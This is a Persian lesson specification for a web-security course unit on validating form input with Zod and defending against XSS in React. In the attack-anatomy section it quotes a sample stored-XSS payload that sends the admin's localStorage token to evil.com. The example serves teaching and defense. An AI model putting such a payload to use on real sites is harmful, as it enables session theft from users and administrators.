128 lines
13 KiB
Markdown
128 lines
13 KiB
Markdown
# مشخصات درس‌نامه: اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS
|
||
- **شناسه در سیلابس:** `L11.5`
|
||
- **فصل:** فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
|
||
- **نوع محتوا:** 📘 درس‌نامه متنی
|
||
- **زمان تقریبی مطالعه:** ۱۸ دقیقه
|
||
- **پیش‌نیازهای مستقیم:** `L11.4` (احراز هویت و کنترل دسترسی)
|
||
|
||
---
|
||
|
||
## ۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)
|
||
دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:
|
||
- [ ] **درک کند (Understand):** قانون طلایی امنیت «هرگز به ورودی‌های کاربر اعتماد نکن» (Never Trust User Input) را تحلیل کرده و چرایی ناکافی بودن اعتبارسنجی سمت کاربر را درک کند.
|
||
- [ ] **تحلیل/ارزیابی کند (Evaluate):** نحوه عملکرد حملات تزریق اسکریپت (Cross-Site Scripting - XSS) و تفاوت فرار خودکار کاراکترها در React را با خطرات ویژگی مرگبار `dangerouslySetInnerHTML` ارزیابی کند.
|
||
- [ ] **به‌کار ببندد (Apply):** کتابخانه استاندارد **Zod** را برای اعتبارسنجی ساختارمند فرم‌های پورتفولیو (فرم تماس، فرم رزرو مشاوره و فرم تنظیمات سئو) در لایه سرور پیاده‌سازی نماید.
|
||
- [ ] **ایجاد کند (Create):** یک اسکیمای جامع Zod بسازد که خطاهای ورودی را به زبان فارسی روان استخراج کرده و به کلاینت بازگرداند تا هم تجربه کاربری عالی و هم امنیت تضمین شود.
|
||
|
||
---
|
||
|
||
## ۲. محدوده و مرزهای محتوا (Scope & Boundaries)
|
||
|
||
### آنچه باید پوشش داده شود (In-Scope):
|
||
1. **قانون بنیادین امنیت وب: «تمام کاربران مشکوک هستند مگر خلافش ثابت شود!»:**
|
||
* چرا حتی یک فرم ساده تماس می‌تواند با ورودی‌های چند مگابایتی یا کدهای جاوااسکریپت مخرب، سیستم را فلج کند؟
|
||
2. **کالبدشکافی اعتبارسنجی دوگانه (Dual-layer Validation):**
|
||
* اعتبارسنجی فرانت‌اند: صرفاً برای تجربه کاربری نرم (UX) و جلوگیری از کلیک‌های بیهوده.
|
||
* اعتبارسنجی بک‌اند (سرور اکشن): سد نفوذناپذیر واقعی؛ چون هر کسی می‌تواند بدون باز کردن سایت، با دستور cURL دیتا بفرستد.
|
||
3. **معرفی کتابخانه مقتدر Zod در TypeScript:**
|
||
* تعریف اسکیما (Schema) برای فرم تماس:
|
||
```typescript
|
||
import { z } from "zod";
|
||
export const ContactSchema = z.object({
|
||
name: z.string().min(2, "نام باید حداقل ۲ حرف باشد").max(50),
|
||
email: z.string().email("فرمت ایمیل نامعتبر است"),
|
||
phone: z.string().regex(/^09\d{9}$/, "شماره موبایل باید با ۰۹ شروع شده و ۱۱ رقم باشد"),
|
||
message: z.string().min(10, "پیام باید حداقل ۱۰ کاراکتر باشد").max(1000),
|
||
});
|
||
```
|
||
* استفاده از `safeParse()` در Server Action برای مدیریت تمیز خطاها بدون کرش کردن سرور.
|
||
4. **کالبدشکافی حملات XSS (Cross-Site Scripting):**
|
||
* حمله چیست؟ نفوذگر در فیلد پیام می‌نویسد: `<script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>`.
|
||
* اگر این پیام در پنل ادمین بدون ضدعفونی رندر شود، توکن ادمین در یک میلی‌ثانیه سرقت می‌شود!
|
||
5. **سپر دفاعی React در برابر XSS:**
|
||
* چگونه React به صورت خودکار کاراکترهای خطرناک مانند `<` و `>` را به کاراکترهای بی‌خطر متنی (Entity Escaping) تبدیل می‌کند.
|
||
* چرا ویژگی `dangerouslySetInnerHTML` نام «خطرناک» را یدک می‌کشد و چه زمانی باید از `DOMPurify` استفاده کرد.
|
||
6. **دستورات چندسکویی برای نصب Zod:**
|
||
* نصب در منوهای کشویی ویندوز، مک و لینوکس: `npm install zod`.
|
||
7. **کال‌اوت‌های آموزشی و هشدار کوئرا:**
|
||
* کال‌اوت بنفش (`<details class="violet">`): استخراج خودکار تایپ‌های تایپ‌اسکریپت از اسکیما با `z.infer<typeof Schema>` (همگام‌سازی ابدی کد و اعتبارسنجی).
|
||
* کال‌اوت سبز (`<details class="green">`): اعتبارسنجی یکپارچه با نمایش پیام‌های خطای فارسی درست زیر فیلدها.
|
||
* کال‌اوت قرمز (`<details class="red">`): هرگز متنی را که کاربر فرستاده مستقیماً داخل تابع `eval()` یا ویژگی `dangerouslySetInnerHTML` قرار ندهید.
|
||
|
||
### آنچه نباید وارد آن شویم (Out-of-Scope):
|
||
- مباحث پیچیده Content Security Policy (CSP) در لایه وب‌سرورهای Nginx.
|
||
- اعتبارسنجی فرمت فایل‌های باینری و تصاویر (در درس بعدی، ۱۱.۶، به صورت عمیق بررسی می‌شود).
|
||
|
||
---
|
||
|
||
## ۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)
|
||
|
||
| اصطلاح انگلیسی | معادل فارسی مصوب | توضیح یک‌خطی ساده |
|
||
| :--- | :--- | :--- |
|
||
| Input Validation | اعتبارسنجی ورودی‌ها | سنجش انطباق داده‌های ارسالی کاربر با فرمت، طول و قوانین امنیتی از پیش تعیین‌شده |
|
||
| XSS (Cross-Site Scripting) | اسکریپت‌نویسی بین‌سایتی | حمله سایبری ناشی از تزریق کدهای جاوااسکریپت خرابکار به صفحات و اجرای آن در مرورگر سایر کاربران |
|
||
| Zod | کتابخانه اسکیمای زد | ابزار محبوب ساخت و اعتبارسنجی تایپ‌سیف اسکیمای داده‌ها در محیط تایپ‌اسکریپت |
|
||
| Sanitization | ضدعفونی داده‌ها | پاک‌سازی تگ‌ها و کاراکترهای بالقوه خطرناک از متن ورودی پیش از ذخیره در دیتابیس |
|
||
| Character Escaping | فرار کاراکترها | تبدیل خودکار نمادهای معنادار HTML (مانند < و >) به کدهای نمایشی متنی برای خنثی‌سازی اسکریپت‌ها |
|
||
| Stored XSS | اسکریپت‌نویسی ماندگار | خطرناک‌ترین نوع XSS که در آن کد مخرب در دیتابیس ذخیره شده و برای تمام بازدیدکنندگان بعدی اجرا می‌شود |
|
||
|
||
---
|
||
|
||
## ۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)
|
||
> **راهنمای ایجنت نویسنده:** تمام تصاویر باید در پوشهٔ `images/` ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:
|
||
|
||
1. **تصویر کاور درس:** `images/cover.png`
|
||
* **موضوع:** فیلتر تصفیه نئونی درخشان که ورودی‌های فرم را اسکن کرده و نمادهای اسکریپت و بدافزار قرمز را به کلمات سبز و ایمن تبدیل می‌کند.
|
||
2. **سازوکار حمله Stored XSS در پنل ادمین:** `images/stored-xss-attack-flow.png`
|
||
* **موضوع:** اینفوگرافیک حمله: نفوذگر کد جاوااسکریپت تزریق می‌کند $\rightarrow$ در دیتابیس ذخیره می‌شود $\rightarrow$ ادمین پیام را باز می‌کند $\rightarrow$ اسکریپت در مرورگر ادمین اجرا شده و کوکی را سرقت می‌کند.
|
||
3. **معماری اعتبارسنجی لایه سرور با Zod:** `images/zod-validation-flow.png`
|
||
* **موضوع:** فلوچارت: دریافت دیتا $\rightarrow$ ارزیابی با اسکیما $\rightarrow$ در صورت خطا: بازگشت پیام فارسی $\rightarrow$ در صورت تایید: اجرای اکشن و ذخیره امن.
|
||
4. **نمایش پیام‌های خطای اعتبارسنجی فارسی در فرم:** `images/persian-zod-error-feedback-ui.png`
|
||
* **موضوع:** اسکرین‌شات از فرم تماس با حاشیه‌های قرمز زیبا و هشدارهای دقیق فارسی زیر هر اینپوت.
|
||
|
||
---
|
||
|
||
## ۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (`README.md`)
|
||
|
||
1. **تیتر اصلی:** `# اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS`
|
||
2. **مقدمه:** اگر به آب لوله‌کشی شهر بدون تصفیه‌خانه اعتماد ندارید، چرا باید به ورودی‌های کیبورد غریبه‌ها در اینترنت اعتماد کنید؟
|
||
3. **جدول کاور درس**
|
||
4. **استعاره گیت بازرسی فرودگاه:**
|
||
* بازرسی اشعه ایکس چمدان‌ها قبل از ورود به هواپیما؛ حذف سلاح‌ها و مواد اشتعال‌زا (کدهای مخرب).
|
||
5. **کالبدشکافی یک حمله واقعی XSS در پروژه پورتفولیو:**
|
||
* نوشتن تگ `<script>` در پیام کارفرما و سناریوی سرقت توکن احراز هویت ادمین.
|
||
6. **سلاح شماره یک: اعتبارسنجی تایپ‌سیف با Zod:**
|
||
* ساخت فایل `lib/validations.ts`.
|
||
* تعریف اسکیمای فرم تماس، رزرو و تنظیمات سئو.
|
||
7. **پیاده‌سازی در Server Action با تابع `safeParse`:**
|
||
* کد نمونه تمیز و تفکیک‌شده برای بررسی داده‌ها پیش از ارسال به Supabase یا کاوه‌نگار.
|
||
8. **جعبه پرامپت طلایی: امن‌سازی تمام فرم‌ها با Zod توسط ایجنت:**
|
||
* پرامپت دقیق:
|
||
> «من کتابخانه Zod را نصب کرده‌ام. لطفاً برای تمام فرم‌های پروژه من (فرم تماس، رزرو مشاوره و ویرایش پروژه در ادمین) اسکیمای اعتبارسنجی دقیق بنویس. فیلدهای متن باید حداقل و حداکثر طول داشته باشند، شماره موبایل با رجکس بررسی شود و خطاهای نامعتبر بودن به زبان فارسی روان برگردانده شوند. سپس این اسکیما را در Server Action مربوطه اعمال کن.»
|
||
9. **دستورات چندسکویی نصب Zod:**
|
||
* منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
|
||
- Windows (PowerShell):
|
||
```powershell
|
||
npm install zod
|
||
```
|
||
- macOS (Terminal):
|
||
```bash
|
||
npm install zod
|
||
```
|
||
- Linux (Bash):
|
||
```bash
|
||
npm install zod
|
||
```
|
||
10. **باکس نکته Quera (`<details class="violet">`):** جادوی `z.infer`؛ چگونه یک بار نوشتن اسکیما، تایپ‌های تایپ‌اسکریپت را همزمان در سرتاسر پروژه تضمین می‌کند.
|
||
11. **باکس هشدار Quera (`<details class="red">`):** استفاده از `dangerouslySetInnerHTML` در فریم‌ورک‌های مدرن باید به موارد فوق‌العاده نادر محدود شده و حتماً با پکیج `DOMPurify` خنثی شود.
|
||
12. **باکس رضایت‌بخش Quera (`<details class="green">`):** وارد کردن کدهای عجیب و غریب در فرم و دیدن آرامش‌بخش پیام خطای قرمز فارسی و متوقف شدن حمله در پشت دروازه Zod.
|
||
13. **جمع‌بندی درس‌نامه:** مجهز شدن به سیستم دفاعی اسکیمای ورودی؛ ورود به مبحث حساس امنیت دیتابیس و اعتبارسنجی آپلود فایل‌ها در درس بعدی.
|
||
|
||
---
|
||
|
||
## ۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)
|
||
- [ ] چرایی اعتبارسنجی سمت سرور و خطرات عدم اعتبارسنجی تبیین شود.
|
||
- [ ] مکانیزم حمله XSS و تفاوت فرار خودکار React با ویژگی‌های خطرناک تشریح گردد.
|
||
- [ ] نحوه استفاده کاربردی از کتابخانه Zod به همراه اسکیمای فرم تماس و پیام‌های خطای فارسی ارائه شود.
|
||
- [ ] دستورات نصب پکیج در تب‌های چندسکویی ویندوز، مک و لینوکس درج شده باشد.
|